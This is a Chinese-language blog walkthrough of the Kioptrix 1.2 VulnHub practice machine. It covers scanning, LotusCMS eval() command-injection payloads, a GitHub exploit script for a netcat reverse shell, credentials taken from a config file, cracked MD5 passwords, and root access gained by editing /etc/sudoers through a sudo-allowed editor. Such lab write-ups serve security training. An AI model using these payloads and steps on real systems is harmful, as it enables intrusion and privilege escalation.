🍬 博主介绍
👨🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~
✨主攻领域:【渗透领域】【应急响应】 【Java、PHP】 【VulnHub靶场复现】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!
目录
一、前言
二、信息收集
1、主机探测
2、端口扫描
3、漏洞扫描
三、渗透测试+信息收集
1、web渗透+CMS框架漏洞
2、LotusCMS 3.0 远程命令执行漏洞
3、反弹shell
4、ssh远程连接
四、提权
一、前言
Kioptrix1.2这台靶机涉及LotusCMS公开漏洞利用,配置文件敏感信息枚举,mysql数据库信息搜集,使用john暴力破解md5哈希,使用ht编辑器修改sudoers文件提权等综合知识和技能。机器不难,攻击链很标准,是一台锻炼攻击思路的好靶机。
二、信息收集
1、主机探测
通过arp扫描发现靶场的IP地址为192.168.103.163
┌──(root💀kali)-[~]
└─# arp-scan -l
2、端口扫描
通过nmap扫描,发现开启了22和80端口,22端口的openssh版本有点高,肯定没有漏洞,那就目前来说,首要肯定在80端口的web服务了。
┌──(root💀kali)-[~]
└─# nmap -sS -A -p- 192.168.103.163
利用nmap扫描UDP端口看看,但是并没有找到什么有价值的信息。
┌──(root💀kali)-[~]
└─# nmap -sU --top-port 20 192.168.103.163
3、漏洞扫描
通过漏洞扫描发现可能会存在csrf漏洞、sql注入漏洞以及扫描到了一些目录,可以尝试访问下,/phpmyadmin/可以访问下,后面信息收集找下账号密码。其中还扫描到CVE-2007-6750漏洞,上网找了下,发现这个漏洞是让http服务无法上线的功能,对我们这个靶场渗透没有什么帮助。
┌──(root💀kali)-[~]
└─# nmap --script=vuln -p22,80 192.168.103.163
访问下/phpmyadmin/,我们后面进行信息收集,然后后面尝试找下账号密码。
三、渗透测试+信息收集
1、web渗透+CMS框架漏洞
直接访问80的web端口,点击HOME,发现url有点可疑,存在page传参,同时发现内容中有gallery CMS的关键字。为什么我们看到CMS要多注意下,因为很多网站存在一些低版本的CMS框架漏洞,特别是靶机渗透测试过程中特别多。
但是这里gallery CMS 我上网搜索,并没有什么有价值的发现。于是我把注意力放到了login页面
,这个web页面感觉功能点切换特别的卡顿,要等好一段时间了。这个login是个登录页面,目前也没有找到什么账号密码啥的,没办法登录。
不过一般看到这种登录框,我们可疑尝试下sql注入以及利用万能密码登录,但是这里我没有尝试成功。
但是我又看到了LotusCMS关键字,又是一个CMS框架,也不知道这个有没有漏洞,那么我们再次拿到Google浏览器检索,发现还真存在LotusCMS框架漏洞。
2、LotusCMS 3.0 远程命令执行漏洞
看到exploit漏洞平台里面有个LotusCMS 3.0 - 'eval()' Remote Command Execution (Metasploit)的关于这个框架漏洞的利用方法,下面这两个画起来的地方,是利用点。这个漏洞利用POST传参,然后利用下面的payload进行远程命令执行,一想到传参,大家是否还记得开始的Home界面,没错这个远程命令执行漏洞就是利用那个传参,然后执行远程命令的。
这里给大家在YouTube推荐个利用这个方式的视频:https://www.youtube.com/watch?v=ZsQP94HHfeY
POST传参,payload如下,会发现我这里执行输出routing成功了,说明确实存在远程命令执行漏洞。
page=index');${print('routing')};#
那么我们接下来就是进行eval()命令执行了,后面要是有师傅想利用这个突破口进行反弹设立了操作的可疑尝试下,我这里不做演示了,我这里直接从github上用现成的脚本文件执行,然后反弹shell。
page=index');${system('id')};#
3、反弹shell
我直接给师傅们分享下这个脚本,其实直接像开始一样搜那个LotusCMS也是可以找到这个github的
https://github.com/Hood3dRob1n/LotusCMS-Exploit/blob/master/lotusRCE.sh
然后就是看懂这个脚本怎么使用的了,我们来看这个注释部分,这个注释部分就是在告诉我们可以利用这个脚本进行反弹设立了操作。
这段注释告诉我们可以执行下面的命令,然后进行反弹shell,我们先要把这个脚本下下来,然后在kali上进行执行,
./lotusRCE.sh 存在漏洞靶机的IP
我们在执行反弹设立了命令之前,先利用kali进行监听;
然后执行上面的命令后,会跳出下面的界面,我们输入需要监听的kali的IP地址和端口,然后选择1) NetCat -e,这个是反弹shell的意思。
发现反弹shell成功了
python -c "import pty;pty.spawn('/bin/bash')" //交互式shell
export TERM=xterm //配置环境变量
直接ls,发现了一个是开始web页面出现的那个gallery cms ,访问下,发现目录里面文件还怪多的,发现几个文件的名字都还是蛮有吸引力的,后来都cat了以后,发现gconfig.php文件里面存在mysql数据库的登录账号密码,
我们开始漏洞扫描不是扫描到了/phpmyadmin/目录嘛,又找到了mysql的账号密码,那必须得试下,发现成功了。我们这里也是可以直接在shell里面登录mysql数据库也是可以的。
4、ssh远程连接
发现mysql数据库登录成功,我们进去看看有什么别的有价值的信息没有。
mysql -u root -p
执行mysql的查询语法命令
发现关于账户的accounts和关于用户的users,先查看dev_accounts,发现是账号密码,密码经过加密了,这里我们借助kali的hash工具进行查看是什么加密的。
┌──(root💀kali)-[~]
└─# hash-identifier "0d3eccfb887aabd50f243b3f155c0f85"
发现是MD5加密的,利用在线网站破解MD5MD5免费在线解密破解_MD5在线加密-SOMD5
破解之后,对应的账号密码就是这个了,看到账号密码,而且又扫描到了22端口,那必须高低得整一波ssh远程连接啊!!!
账号 密码
dreg Mast3r
loneferret starwars
远程连接dreg用户,尝试了一般的信息收集提权方式,都没有什么有价值的信息。
远程登录loneferret用户,发现这个用户可以(root) NOPASSWD: /usr/local/bin/ht,也就是说可以免密码执行具有root权限的/usr/local/bin/ht命令,我们执行下看看
四、提权
执行完这个命令之后,出现这个系统界面
loneferret@Kioptrix3:~$ sudo /usr/local/bin/ht
可以发现这是个编辑器,既然我们可以sudo启动这个编辑器,那么这个编辑器应该是具有root权限的,我们可以用这个ht编辑器修改系统的配置实现提权,最简单的思路便是修改/etc/sudoers这个文件,我们先尝试打开这个文件,按F3,输入/etc/sudoers即可编辑:
我们尝试在最后一行追加loneferret ALL=(ALL)NOPASSWD:ALL,应该就可以修改当前用户为最高权限了:
然后按F10,然后按enter回车退出,再次运行sudo -l查看权限,可以看到已经有ALL权限了:
发现成功提权了
loneferret@Kioptrix3:~$ sudo -l
User loneferret may run the following commands on this host:
(root) NOPASSWD: !/usr/bin/su
(root) NOPASSWD: /usr/local/bin/ht
(ALL) NOPASSWD: ALL
loneferret@Kioptrix3:~$ sudo /bin/bash
root@Kioptrix3:~# id
uid=0(root) gid=0(root) groups=0(root)